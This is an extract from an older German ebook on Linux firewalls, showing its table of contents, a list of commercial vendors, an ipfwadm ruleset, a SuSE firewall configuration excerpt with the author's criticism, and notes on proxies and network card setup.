Ebook - Firewall Unter Linux
Ebook - Firewall Unter Linux
Ebook - Firewall Unter Linux
LITTLE-IDIOT NETWORKING
Da es viele Anfragen auch bezglich des MySQL Datenbankhandbuches gegeben hat, wird auch diese Version nach Ostern dann freigegeben werden. Darber hinaus ist gerade das neue LINUX Systemadministrationshandbuch fertiggestellt. Es ist die Gradwanderung, die versucht, auch Einsteigern die professionelle Systemadministration von LINUX zu ermglichen. Hierbei wird fast jedes Programm unter LINUX genau beschrieben, wie Diskless Workstations, SQUID, Apache, SAMBA u.s.w. Auch der Umfang dieser Bcher sprengt leider inzwischen dem Umfang eines dicken Buches. Zusammengefasst drften diese Handbcher inzwischen mehrere tausend A4 Seiten betragen. Leider zuviel, um berhaupt an einen Druck in grerer Auflage zu denken. Die Kosten des Druckes auch in hherer Auflage wrde auch meine persnliche Schmerzgrenze von 25 EUR glatt um 400% berschreiten. Abgesehen davon ist ein Druck angesichts der Halbwertszeit von 4 Monaten bei LINUX Dokumentationen der Umwelt nicht mehr zuzumuten. Der Leser bzw. Administrator wird sich also sicher auf Online Bcher umstellen mssen, wobei er dann dennoch einzelne Kapitel ausdrucken kann. Fr alle anderen Leser wird die Online Version weiterhin zur Verfgung stehen. Eine kufliche CDROM - Version mit einer Lizenz zum einmaligen Ausdruck der PDF Dateien wird es voraussichtlich zum Preis von 25 EUR geben. Eine gedruckte Version wird es entgegengesetzt einiger meiner Vorankndigungen nicht geben, die Papierverschwendung wre zu hoch. Also bis nach Ostern ! Ich wnsche allen ein frohes Osterfest ! Gru/3, Guido Stepken
1.1 Dringende Fehlerkorrekturen in Versionen vor 3.0 ! 1.2 Ergnzungen in Version 3.0
4.1 Kommerzieller Support fr SINUS Firewall 4.2 Kommerzielle Firewalls auf LINUX basierend 4.3 Liste deutscher Anbieter von Firewalls
5. Einfhrung
q
5.1 Feedback
9.1 Auswahl von Hard- und Software 9.2 Bentigte Hardware 9.3 Installation der Software 9.4 Kernel Optionen 9.5 Die Firewall Policy 9.6 Das Loopback Interface 9.7 Regeln fr die Netzwerkkarten 9.8 SPOOFING ! 9.9 Die Reihenfolge der Regeln 9.10 Masquerading und NAT 9.11 Dienste mit UDP Protokollen 9.12 Protokolle und Dienste 9.13 Die Clients 9.14 Gefahren mit Ports > 1024 9.15 Die kompletten Firewall - Regeln 9.16 Die Dienste auf einer Firewall
10.1 berprfung der forwarding Regeln 10.2 berprfung der ausgehenden Regeln 10.3 berprfung der eingehenden Regeln 10.4 Das Testen der Regeln 10.5 Zhlen von Paketen (Accounting) 10.6 Die berprfung der UNIX Sicherheit 10.7 Logging von Ereignissen
12.1 Was ist ipchains ? 12.2 Verbesserungen in Linux 2.2 12.3 Update von Linux 2.0 Kerneln ? 12.4 Die Homepage von IPCHAINS 12.5 Fallstricke mit Kernel Optionen fr LINUX 2.0 und 2.2 12.6 Installation von ipchains im Kernel 12.7 Beschreibung des ipchains Administrationswerkzeuges 12.8 Beschreibung des Aufbaus der Firewall 12.9 Die Programmierung von ipchains. 12.10 Interne Ablufe der Firewall 12.11 Operationen auf eine ganze chain 12.12 Praktische, sinnvolle Beispiele 12.13 Verschiedenes 12.14 Troubleshooting !!!!!! 12.15 Anhang: Unterschiede zwischen ipchains und ipfwadm 12.16 Quick-Index fr Umsteiger von ipfwadm
13. Problem Fernwartung einer LINUX Firewall 14. Die SINUS Firewall-1
q q q q q q q q q q q q q q q q q
14.1 Leistungsbersicht 14.2 Einsetzbare Hardware 14.3 Skalierbarkeit 14.4 Administrierbarkeit 14.5 Protokolluntersttzung 14.6 Untersttzung fr folgende Dienste 14.7 Kontrolle aus UDP und TCP kombinierter Dienste 14.8 Einsatz erweiterter, dynamischer Firewallregeln 14.9 LOG Eigenschaften 14.10 Interne Architektur des TCP/IP Stacks 14.11 Einsatzgebiet der Firewall bei ISPs 14.12 Logging 14.13 Counter intelligence 14.14 Interner Aufbau der Firewall 14.15 Sicherheit oder Verfgbarkeit ? 14.16 Fernwartung und Sicherheit 14.17 Erweiterungen in der SINUS Firewall
q q q q q q q q q q q
14.18 SINUS Firewall-1 TCP/IP Stack 14.19 TCP sequence number checking 14.20 Design der internen Kommunikation 14.21 SINUS Firewall-1 und der LINUX Kernel 14.22 bersicht 14.23 Komponenten der SINUS Firewall-1 14.24 Starten des Firewall-Dmons 14.25 Konfiguration der Filterfunktionen durch das Firewall-Device 14.26 Counter Intelligence 14.27 Firewall Konfiguration 14.28 Der Packetfilter
15.1 nderungen im Kernel 15.2 Entpacken des Firewall Quellcodes 15.3 Programmierung der Firewall 15.4 Start und berwachung der Firewall 15.5 berprfung der Konfiguration 15.6 Anzeige der gltigen Regeln 15.7 Counter Intelligence 15.8 Installation des JAVA Interface 15.9 Die Benutzeroberflche der SINUS Firewall 15.10 Grenzen der SINUS Firewall-1
17.1 Das ACK - Bit 17.2 Sicherheitshinweise zur Generierung von Firewallregeln
18.1 Mail Dienste 18.2 FTP (Filetransfer) 18.3 TELNET (Administration) 18.4 R-Kommandos von BSD 18.5 NNTP Dienste Newsgroups
q q q q q q q q
18.6 HTTP (WWW-Dienste) 18.7 Datenbank Dienste 18.8 Kommunikation, Information 18.9 DNS Dienste 18.10 Logging Dienste 18.11 Routing Dienste 18.12 Sonstige Dienste 18.13 Generelle Gefahren bei UDP - Protokollen
19.1 Innere Firewall mit bastion host und Grenznetz 19.2 uere Firewall mit bastion host und Grenznetz 19.3 Einrichtung des bastion hosts
21.1 Einsatz bei ISP's 21.2 Einsatz in Intranets 21.3 Einsatz als Firewall-Router 21.4 Firewall-Router mit SQUID - Proxy 21.5 ATM Netzwerke mit LINUX Firewalls 21.6 Verbrauch an CPU Zyklen pro Paket 21.7 Tuning der TOS Bits in TCP/IP - Paketen
22.1 Kompilierung des Kernel 22.2 Einspielen von Patches und Updates 22.3 LILO, der Bootmanager 22.4 Konfiguration der Netzwerk Interfaces 22.5 DNS-Adressen 22.6 Absicherung von Servern mit chroot() 22.7 Warum Filter anfllig gegen buffer overflows sind 22.8 Installation von Servern mit CHROOT 22.9 Kurzeinfhrung CHROOT() fr WWW-Server
23.1 Firewalls - eine Beschreibung der Eigenschaften 23.2 Angriffe auf den TCP/IP-Stack 23.3 Buffer overflow Angriffe 23.4 Zeitaufwand und Einbruchswerkzeuge 23.5 Einarbeitungszeiten in Angriffswerkzeuge 23.6 Beispiele: Angriffe auf Firewalls 23.7 Angriffe auf Application Level 23.8 Wie wird ein Angriff verborgen ? 23.9 Blinde Angriffe (blind attacks) 23.10 Zeitversatz zwischen Angriffen und die Analyse von Logfiles 23.11 Wie schnell ein Angriff auf einen Server erfolgt 23.12 Der unbemerkte Diebstahl von Daten 23.13 DNS-Sicherheit und Entfhrung von E-Mails 23.14 Firewalls fr Verbindungen von auen mit FTP ffnen 23.15 Vernderungen an Adrebchern fr E-Mail 23.16 Beschreibung von Back Orifice, genannt BO 23.17 Probleme beim Download von Software aus dem Internet
24.1 Analyse eines Programmes aus dem Internet 24.2 Auswertung der Informationen 24.3 Konsquenzen
26.1 Auslesen der Backoffice Datenbank mit einem Winword Makro 26.2 Angriff auf S.u.S.E. LINUX und MySQL 26.3 Helfen SQL Proxys ? 26.4 10 wichtige Punkte zur Absicherung
28.1 Grundlegende Fragen fr die Erstellung einer security policy 28.2 Beispiel: Security Policy fr User 28.3 Grundregeln fr den Nutzer 28.4 Verfahren zur Sicherung von Servern
30.1 Allgemeine Tips 30.2 Typische Schwachstellen bei PERL Skripten 30.3 Lsungsmglichkeiten 30.4 Der Taint Modus bei PERL 30.5 Gefhrliche Parameter bei Variablen 30.6 Beispiele der Absicherung von PERL-Skripten 30.7 Gefhrliche Operationen 30.8 Hinweise auf weiterfhrende Literatur
31. Serisitt von Security Consultants 32. Was Hersteller kommerzieller Firewalls verschweigen 33. Firewall Auditing 34. Werkzeuge fr Auditing 35. Die GRAPHICAL Firewall, eine unkonventionelle Lsung 36. Stories zum Nachdenken
q q q
36.1 Fehlkonfiguration in einem sddeutschen Elektrogrohandel 36.2 Sicherheit der PIN CODES von Chipkarten 36.3 Die Forschungsabteilung eines Chemieunternehmens
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Kapitel DOS Angriffe auf TCP/IP Stacks Kapitel FTP Protokoll (bounce attack) Kapitel Installation von Servern mit CHROOT() Kapitel Warum Filter anfllig gegen buffer overflows sind Kapitel Manahmen zur Absicherung von Servern (Auditing) Kapitel Stories zum Nachdenken
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
2. Todo-Liste
In der endgltigen Version dieses Handbuches werden einige Kapitel und viele Grafiken zum besseren Verstndnis enthalten sein. Das Buch wird dadurch erheblich grer. Hier also die TODO Liste..... q Beschreibung der JAVA GUI fr User der SINUS Firewall (in Arbeit) q IPCHAINS Skript (in Arbeit) q Beschreibung der Installation eines E-Mail Virenscanners unter LINUX
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
4. Kommerzieller Support
Kommerzieller Support fr freie Firewalls ist bisher noch nicht angeboten worden. Obwohl nach meiner Einschtzung LINUX Firewalls durchaus einige Vorteile gegenber anderen Firewalls besitzen, gibt es nur wenige, die Firewalls installieren, deren Quellcode frei verfgbar ist. Ich selber habe z.B. Checkpoint Firewall-1 3.0 unter SOLARIS debuggt, grndlich analysiert und einige Sicherheitslcken gefunden, obwohl der Quellcode nicht verfgbar ist. Die SINUS Firewall-1 bzw. der Vorlufer SF - Firewall, der allerdings nur mit dem LINUX Kernel 2.0 (bis 2.0.39) funktioniert, liegt z.B. oft vllig unbeachtet allen LINUX Distributionen bei. Siehe hierzu in /usr/doc/packages/sf/. Die SF Firewall ist uerst zuverlssig auch bei groer Last, was von den Nachfolgern der SINUS Firewall (SINUS Firewall oder SIFI-0.1.4) noch nicht behauptet werden kann. Fr die ltere SF Firewall ist Support verfgbar. Sobald die SINUS Firewall-1 fr Kernel 2.2 zuverlssig luft, wird auch fr diese Support angeboten werden. Diese Praxis mag vielleicht merkwrdig erscheinen. Angesichts der Tatsache, da LINUX und die Firewall SF/SIFI/SINUS Firewall keinem Marktdruck unterworfen sind, knnen Sie sicher sein, da sowohl alle Fehler bekannt sind und auch verffentlicht werden, als auch neue Versionen solange zurckgehalten werden, bis alles korrekt funktioniert und verifiziert ist. Angesichts der hohen Sicherheitsansprche, die mit Firewalls verbunden sind, bitte ich um etwas Geduld mit dem Support neuer Versionen der SINUS Firewall.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Articon, Mnchen, Burscheid: http://www.articon.de: Firewall-1, Eagle und Cisco PIX, Cisco IOS Axis Information Systems, Erlangen: http://www.axis.de : Raptor Eagle und The Wall BDG, Kln, Idstein/Frankfurt: http://www.bdg.de: Guardian, Firewall-1, CyberGuard Biodata, Zrich, Lichtenstein http://www.biodata.de: BIGfire+ brainstuff AG, Simmern: http://www.brainstuff.de: SecureZone, BorderWare, Entrada, Cisco Bredex, Braunschweig: http://www.bredex.de : Internet-Sicherheit und Firewalls The Bristol Group, bundesweit: http://www.bristol.de : Checkpoint FireWall-1 Bull AG: http://www.bull.de: Netwall Centaur, Mnchen, Heilbronn: http://www.centaur.de: Internet-Sicherheit und Firewalls Class Firmengruppe, Starnberg: http://www.class.de : Checkpoint Firewall-1 Commercial Link Systems (CLS), Kiel: http://www.cls.de : Concorde COMCAD, Burscheid: http://www.comcad.de: Firewall-1 Connect GmbH, Rosenheim: http://www.connect-gmbh.de: Firewall Lsungskonzepte Crocodial Communications, Hamburg: http://www.crocodial.de: Check Point FireWall-1 Deutsche Telekom AG: http://www.telekom.de T-Mart Protection Service Systemberatung Axel Dunkel GmbH, Kriftel: http://www.dunkel.de: TIS Gauntlet, Firewall-1, Borderware, Firewall for NT Easynet DV GmbH, Erlangen: http://www.easynet.de: FireWall/Plus Entrada Kommunikations GmbH, Paderborn: http://www.entrada.de: AltaVista, BIGfire, Borderware und Norman Firewall GAI NetConsult, Berlin: http://www.gai-netconsult.de: Sicherheitskonzepte und Firewall-Evaluierung GeNUA, Gesellschaft fr Netzwerk- und UNIX-Administration mbH, Kirchheim : http://www.genua.de:GeNUGate @GLOBE GmbH, Mnster: http://www.globe.de: Altavista Firewall, Secure Computing IABG, Ottobrunn : http://www.iabg.de: TIS Gauntlet ibh/it-sec, Ulm: http://www.it-sec.de : Firewall-1, Raptor, Watchguard, Cisco ICON Systems GmbH, Oberhaching: http://www.icon-sys.de: FireWall-1, Trend Micro Interscan VirusWall
q q
q q q q
q q q
ID-Pro GmbH, Bonn: http://www.id-pro.de : Connectivity- und Firewall-Lsungen auf GNU/Linux-Basis INS GmbH, Castop-Rauxel, Essen, Duisburg: http://www.ins.de: FLUX EF, FLUX AG, FLUX PR Integralis GmbH, Mnchen: http://www.integralis.de: Checkpoint FireWall-1 IN - integrierte informationssysteme GmbH, Konstanz: http://www.in-gmbh.de : FireWall-1 Interface Business GmbH, Dresden: http://www.interface-business.de: Firewall-1, AltaVista Firewall, Borderware Firewall INTERNET GmbH, Frankfurt, Hamburg, Weinheim, Mnchen : http://www.inet.de: BorderWare, Raptor Eagle, SmartGATE Internet2000, Bundesweit: http://www.internet2000.de : Altavista, BorderWare Internet SmartWare GmbH: http://www.internet-smartware.com: SmartWall, BorderWare, Firewall for NT Intr@ware, Dietzenbach: http://www.intra-ware.de: Altavista, BorderWare IQproducts GmbH, Dornach, Eschborn: http://www.iqproducts.de : FireWall-1, Trend Micro Interscan VirusWall iXnet GmbH, Zwingenberg: http://www.ixnet.de FireWall-1, Trend Micro Interscan VirusWall KrypNET Security GmbH, Ratingen: http://www.kryptnet.de Firewall-1 KryptoKom, Aachen: http://www.kryptocom.de: KryptoWall KSR Net Technics GmbH, Freiburg: http://www.ksr-online.de KSR Firewall-Systeme Landis, Nettetal, Ettlingen: http://www.landis.de : Secure Computing, Raptor MANDATA System Consult GmbH, Krefeld : http://www.mandata.de: Secure Computing (Secure Zone), Borderware (Borderware Technologies) Microtec Electronic GmbH, Bingen : http://www.microtec.de Watchguard Firewall PEM Intercomputing, Stuttgart : http://www.pem.com Checkpoint Firewall-1 planNET Systems GmbH, bundesweit: http://www.plannet.de : planNET Security POP Point of Presence GmbH, Hamburg, bundesweit : http://www.pop.de: Firewall-Beratung, Lsungen und -Realisierungen PSP GmbH, Hahnsttten : http://www.firewall-software.de Guardian Firewall Quantum Software GmbH, Dortmund: http://www.quantum.de : Firewall Service R2R EDV-GmbH, Rosenheim: http://www.r2r.de : FireWall-1, Sonicwall, Sunscreen Secunet GmbH, Essen: http://www.secunet.de: Checkpoint Firewall-1 Software Symbiose GmbH, Bayreuth: http://www.symbiose.com : Borderware, SmartFilter Spring Infotainment, Saarbrcken: http://www.spring.de : BIGFire, TIS Gauntlet Stepken Unternehmensberatung, Kln: http://www.sinusfirewall.de LINUX Sinus Firewall, Firewall-1, Firewall 1st, CISCO PIX
q q
q q
q q q q q q
q q q q
q q q q q q q
q q q q q q q
T SYSTEME, Hattingen : http://www.systeme.de: Ukiah NetRoad Firewall Telemation Netzwerk AG, bundesweit/europaweit : http://www.telemation.de: Cisco PIX Firewall Topologix, Hamburg: http://www.topologix.de : BorderWare Firewall Server Wick Hill, Hamburg, Mnchen, Dsseldorf: http://www.wickhill.com : WatchGuard Firebox WWL Connect Online Services GmbH, Nrnberg: http://wwl.de : Firewalls und Internet-Security ZKOM GmbH, Dortmund: http://www.zcom.de Firewall allgemein Xenologics, Kln: http://www.xnc.com: GNAT Wall, CISCO, FLUX
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
5. Einfhrung
Die hier beschriebenen Firewalls haben, wie brigens alle Firewalls, einige Schwchen. Da die hier beschriebenen Firewalls aber weder im kommerziellen Konkurrenzkampf um Marktanteile stehen, noch irgendeinem Termindruck des Marketings unterworfen sind, besteht also auch kein Grund, dem Leser irgendwelche Informationen ber Schwchen und Strken von LINUX Firewalls vorzuenthalten. Somit kann diese Dokumentation insbesondere der Entscheidungsfindung bei der Auswahl "ausgewachsener" Firewalls dienen. Das soll nicht bedeuten, da Firewalls unter LINUX schlechter als kommerzielle, sehr teure Firewall wren, diese schlechteren Support genieen wrden, oder fehlerhafter als die kommerziellen Firewalls wren, eher im Gegenteil. Das eigentliche Problem ist, da noch EDV - Entscheider entlassen worden ist, weil er eine Borderware oder Checkpoint Firewall eingesetzt hat. Im Falle eines nachgewiesenen Angriffs auf das Unternehmen wrde dieses dann als Schicksal von der Unternehmensleitung interpretiert, beim Einsatz von LINUX als Firewall wrde dies kritische Untersuchungen nach sich ziehen. Es ist auch noch niemand wegen des Einsatzes von Windows NT entlassen worden, obwohl viele Zahlen, siehe Vergleich von Ausfllen bei UNIX und NT der Gartner Group genau hierzu Anla geben drften. Ich denke, da sptestens nach der Lektre dieses Handbuches einige Entscheider die Sachlage besser einschtzen knnen, und sich an eine der unten aufgefhrten Firmen zwecks Betreuung und Beratung in Sachen Firewall unter LINUX wenden. Ich habe aber auch zahlreiche Rckmeldungen ber erfolgreiche Installationen von Firewalls unter LINUX nach den Anleitungen aus diesem Handbuch hier erhalten. Eine berprfung der Sicherheit der Firewall wurde in vielen Fllen mit dem ISS Security Scanner durchgefhrt, der ebenfalls auch von fast allen Security Consultants verwendet wird. Preiswerter kann man nicht mehr an eine Firewall kommen. In einigen, wenigen Fllen halte aber auch ich andere Firewalls fr geeigneter. Der Grund liegt einfach darin, da z.B. Borderware und die GNAT Firewall sozusagen Idiotensicher zu bedienen und zu installieren sind. Unter LINUX gibt es diesen Komfort nur beim Einsatz der SF Firewall oder bei Verwendung der vielen Firewall Administrationswerkzeugen fr LINUX. Beachtet man jedoch die rasante Entwicklung bei Protokollen, knnen sie bei LINUX sicher sein, da Sie kostenlose Updates erhalten.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
5.1 Feedback
Fehler und andere Ungereimtheiten mag mir der Leser verzeihen, nobody is perfect.... meine eMail-Adresse ist: [email protected]
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
6. Copyright
Das Copyright dieses Firewall Handbuches liegt bei Guido Stepken. Das Handbuch ist als Online Nachschlagewerk fr LINUX Firewaller gedacht. Links auf dieses Handbuch sowie das Kopieren auf Resourcen im Internet, also auch das Spiegeln (Mirroring, Caching) auf andere Sites ist ausdrcklich erlaubt. Jede Art von kommerzieller Verwertung, d.h. auch das Kopieren auf CDROM oder andere Datentrger sowie der Druck bedarf der ausdrcklichen Zustimmung des Autors. Die Versionen vor dieser Version 3.0 unterliegen weiterhin der GPL (GNU Public License). Nun viel Spa mit dem Firewall Handbuch. Erstellt wurde dieses Dokument mit etwas modifizierten LINUX SGML Tools, Siehe auch http://www.sgml.org, erweitert um CSS Stylesheets.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
# Flush previous rules /sbin/ipfwadm -I -f # Set default policy to deny /sbin/ipfwadm -I -p deny
# Unlimited traffic within the local network /sbin/ipfwadm -I -a accept -V "$INTERNALIP" -S "$NETWORKIP" -D "$ANYWHERE" # =====Deny spoofed packets and log denied requests /sbin/ipfwadm -I -a deny -V "$EXTERNALIP" -S "$NETWORKIP" -D "$ANYWHERE" -o # Target for SERVICES in `echo $TCP_ALLOWIN` ; do /sbin/ipfwadm -I -a accept -P tcp -V "$EXTERNALIP" -S "$ANYWHERE" \ "$PORTS" -D "$EXTERNALIP" "$SERVICES" -o done # Return for SERVICES in `echo $TCP_ALLOWOUT` ; do /sbin/ipfwadm -I -a accept -P tcp -S -V "$EXTERNALIP" "$ANYWHERE" "$SERVICES" \ -D "$EXTERNALIP" "$PORTS" -o done # Allow ping requests /sbin/ipfwadm -I -a accept -P icmp -V "$EXTERNALIP" -S "$ANYWHERE" \ -D "$EXTERNALIP" -o # DNS /sbin/ipfwadm -I -a accept -P udp -V "$EXTERNALIP" -S "$ANYWHERE" \ -D "$EXTERNALIP" /sbin/ipfwadm -I -a accept -V "$LOOPBACK" -S "$ANYWHERE" -D "$ANYWHERE" # Log the rest /sbin/ipfwadm -I -a deny -S "$ANYWHERE" -D "$ANYWHERE" -o # # # ===================================== ========== Outgoing Rules =========== =====================================
# Flush previous rules /sbin/ipfwadm -O -f # Set default policy to deny /sbin/ipfwadm -O -p deny # Unlimited traffic within the local network /sbin/ipfwadm -O -a accept -V "$INTERNALIP" -S "$ANYWHERE" -D "$NETWORKIP" # Logging /sbin/ipfwadm -O -a deny -V "$EXTERNALIP" -S "$ANYWHERE" -D "$NETWORKIP" -o /sbin/ipfwadm -O -a deny -V "$EXTERNALIP" -S "$NETWORKIP" -D "$ANYWHERE" -o # Target for SERVICES in `echo $TCP_ALLOWOUT`; do /sbin/ipfwadm -O -a accept -P tcp -S "$EXTERNALIP" "$PORTS" \ -D "$ANYWHERE" "$SERVICES" -o done # Return for SERVICES in `echo $TCP_ALLOWIN`; do /sbin/ipfwadm -O -a accept -P tcp -S "$EXTERNALIP" "$SERVICES" \
-D "$ANYWHERE" "$PORTS" -o done # DNS /sbin/ipfwadm -O -a accept -P udp -V "$EXTERNALIP" -S "$EXTERNALIP" \ -D "$ANYWHERE" /sbin/ipfwadm -O -a accept -V "$LOOPBACK" -S "$ANYWHERE" -D "$ANYWHERE" # Allow ping requests /sbin/ipfwadm -O -a accept -P icmp -V "$EXTERNALIP" -S "$ANYWHERE" \ -D "$EXTERNALIP" -o # Log the rest /sbin/ipfwadm -O -a deny -S "$ANYWHERE" -D "$ANYWHERE" -o # # # ====================================== ========== Forwarded Rules =========== ======================================
# Flush previous rules /sbin/ipfwadm -F -f # Set default policy to deny /sbin/ipfwadm -F -p deny for MSERVICES in `echo $MASQ_ALLOWIN`; do /sbin/ipfwadm -F -a m -P tcp -S "$NETWORKIP" -D "$ANYWHERE" $MSERVICES -o done # DNS /sbin/ipfwadm -F -a m -P udp -S "$NETWORKIP" -D "$ANYWHERE" domain # Log the rest /sbin/ipfwadm -F -a deny -S "$ANYWHERE" -D "$ANYWHERE" -o S.u.S.E 5.3/6.0/6.1 hat ebenfalls eine nettes Konfigurations - Skript eingebaut, welches ber /etc/rc.config konfiguriert wird. Das eigentliche Skript, welches die Firewall startet, ist /sbin/init.d/firewall oder unter /etc/rc.d/ (neuere Versionen) zu finden. Das Problem mit diesen Skripten ist, da sie einfach aussehen, aber fatale Fehler enthalten und einige Dinge nicht korrekt behandeln, z.B. ICMP Codes. Die Problematik habe ich bereits im Skript http://www.little-idiot.de/firewall/workshop2.pdf ausfhrlich beschrieben. Hier ein Ausschnitt der Konfigurationsdatei von S.u.S.E.: FW_START="no" FW_LOCALNETS="" FW_FTPSERVER="" FW_WWWSERVER="" FW_SSLSERVER="" FW_SSLPORT="443" FW_MAILSERVER="" FW_DNSSERVER="" FW_NNTPSERVER="" FW_NEWSFEED="" FW_WORLD_DEV="eth1" FW_INT_DEV="eth0" FW_LOG_ACCEPT="no" FW_LOG_DENY="yes" FW_ROUTER="" FW_FRIENDS="no" FW_INOUT="no"
FW_SSH="no" FW_TRANSPROXY_OUT="" FW_TRANSPROXY_IN="" FW_REDIRECT="" FW_TCP_LOCKED_PORTS="1:1023" FW_UDP_LOCKED_PORTS="1:1023" # Masquerading settings - See /usr/doc/packages/firewall # for a detailed deSkription MSQ_START="no" MSQ_NETWORKS="192.168.0.0/24" MSQ_DEV="eth0" MSQ_MODULES="ip_masq_cuseeme ip_masq_ftp ip_masq_irc ip_masq_quake ip_masq_raudio ip_masq_vdolive" Es gibt eine Reihe von Variablen, die Traffic ber die Firewall zu bestimmten Servern im Intranet zulassen. Die Programmierer bei S.U.S.E haben hier fatale, logische Fehler begangen. Erstens sollten einige Masquerading Optionen niemals aktiviert werden, und zweitens darf niemals der Zugriff auf einen Server in der DMZ erlaubt werden, ohne da dieser selber noch einmal durch eine Firewall gegenber dem Intranet abgesichert ist. Server in der DMZ darf man nicht als sicher betrachten. Den Autoren fehlt offensichtlich noch etwas Verstndnis fr die Begriffe "reverse proxy" und die Einsicht darin, da Server in der DMZ stets durch "buffer overflows" bedroht sind. Ich selber habe nach ca. 10 Minuten Suche einen erfolgreichen Angriff auf die S.u.S.E. Konfiguration (alles nach Handbuch konfiguriert) durchgefhrt (S.u.S.E. 6.0 und 6.1 beta). Wer wei, was er tut, der kann das Skript durchaus einsetzen, jedoch nicht, ohne mit Hilfe des IIS noch einmal alles zu verifizieren. Wer aber noch neu in der Materie ist, der hat auch keine Mglichkeit zu verstehen, was in dem Skript eigentlich passiert, und sollte dringend die Finger davon lassen. Als Alternative bietet sich an, obiges Skript um weitere, wichtige Regeln zu ergnzen, z.B. um die Spoofing - Regeln u.s.w.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
8.1 DELEGATE
Die Firewall DELEGATE ist eine japanische Entwicklung, die am MITI entstanden ist. MITI ist in Japan zustndig fr die Koordinierung der gesamten japanischen Wirtschaft, sowohl bei der Produktentwicklung als auch bei der Produktion. Die Firewall Homepage ist auf http://wall.etl.go.jp/delegate/ zu finden. Was diese Firewall auszeichnet, ist vllige Plattformunabhngigkeit, die luft unter Windows und allen UNIX Derivaten, ist vollstndig programmierbar und ist als Application Level Proxy designt. Sie kann fr alle Protokolle (http, smtp, pop3, CU SEE ME, ftp, dns, telnet, nntp) den Datenstrom in Echtzeit durchscannen, on the fly ver-und entschlsseln, filtern, Strings ersetzen u.s.w. Im Gegensatz zu vielen anderen Firewalls arbeitet sie vollstndig transparent, d.h. es mssen auf den Clients weder Proxys noch irgendwelche Socks-Routinen eingerichtet werden. Sie besitzt eine eigene Filtersprache, mit welcher beliebige Filterprotokolle programmiert werden knnen. Bei der Filterung kann sie Datenstrme an andere Filter weiter-und umleiten. Sie ist die ideale Ergnzung zu den hier vorgestellten Firewalls. Die Firewall ist schon viele Jahre im Einsatz und hat sich bewhrt.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
8.2 SOCKS 5
SOCKS 5 ist nun auf http://socks.nec.com zu finden. SOCKS 5 ist ein reiner Circuit Level Proxy und erfordert nderungen an den Clients. http://www.aventail.com liefert DLLs fr Windows, die den Socks Mechanismus implementiert haben. Im Grunde automatisiert Socks das Einloggen in den SOCKS-Dmon auf der Firewall und dann die Weiterverbindung zu einem Server in das Internet. Clients, die mit diesem Mechanismus ber die Firewall Daten transferieren mchten, mssen auf der Firewall frei geschaltet werden.SOCKS 5 untersttzt inzwischen auch das UDP Protokoll. Eine Anleitung zur Installation von SOCKS unter LINUX ist im Firewall-Howto von Jrgen Steiner zu finden.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
(Fr ISDN: http://www.suse.de). um festzustellen, ob alle Komponenten untersttzt sind. Dadurch erspart man sich viele Fehlversuche und ein wildes Herumraten....:)
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Wenn die Karten gleichen Typs sind, so mu der Kernel neu mit diesem Typ von Netzwerkkarte kompiliert werden, andernfalls wird die zweite Netzwerkkarte nicht korrekt eingebunden, obwohl sie richtig erkannt wird. Der KERNELD, der fr das dynamische Laden der Treiber verantwortlich ist, bricht nach der ersten erkannten Karte ab, und kann danach nur noch Karten anderen Typs finden. Wenn die Karten unterschiedlichen Typs sind, kann der Kernel diese als Modul erkennen. Hierzu mu in der Datei /etc/conf.modules folgendes eingetragen werden: alias eth0 <Treiber 1> options eth0 io=0x6100 irq=11 alias eth1 <Treiber 2> options eth1 io=0x6200 irq=9 Einfacher ist es allerdings unter X-Windows und LINUXCONF oder WEBMIN. Unter dem Button Netzwerk Konfiguration lt sich dies ebenfalls einstellen. LINUXCONF ist aber auch ber die Konsole, also ohne X-Windows, zu starten und auch ber WWW-Interface erreichbar, sobald eine Netzwerkkarte eingebunden und mit einer IP - Nummer versehen ist. LINUXCONF bentigt keinen WWW-Server, dieser ist eingebaut. Ist LINUX fertig installiert, so kann man entweder vom LINUX Host selber mit Netscape mit http://localhost:98 oder von einem benachbarten Arbeitsplatzrechner mit http://10.0.0.1:98 (der IP - Nummer des LINUX Host) auf LINUXCONF zugreifen. Falls der LINUX Host nicht reagiert, kann dies am IDENTD liegen. Dieser lehnt alle Verbindungen zum LINUX Host ab, sofern der zugreifende Client nicht in der Datei /etc/hosts eingetragen ist. Dies ist eine Eigenart von RedHat LINUX und auch neueren anderen Distributionen. Fr den APACHE WWW-Server auf Port 80 gilt dies ausnahmsweise nicht. Ein Geheimtip ist WEBMIN, ein Administrationswerkzeug, mit welchem man viele UNIX'e mit all seinen Dmonen ber den Browser mit SSL Verschlsselung sicher administrieren kann. Wer sich fr WEBMIN mit deutschem Interface interessiert, der mag sich auf http://www.little-idiot.de/webmin/ umschauen. Auch die Administration der Netzwerk - Interfaces ist enthalten. Nun sollte die Firewall im Netzwerk mit PING erreichbar sein. Mit Hilfe eines weiteren Arbeitsplatz-PC und Netscape / IE lt sich die Firewall aus der Ferne einrichten und administrieren. Hierzu sind allerdings noch einige Sicherheitsvorkehrungen zu beachten. Ohne Verschlsselung sollte kein Pawort ber das Netz bertragen werden. Wer kein SSH, ENSkip, OPIE, STELNET, PPTP oder S/Key installiert hat, der sollte die Firewall nicht remote administrieren. 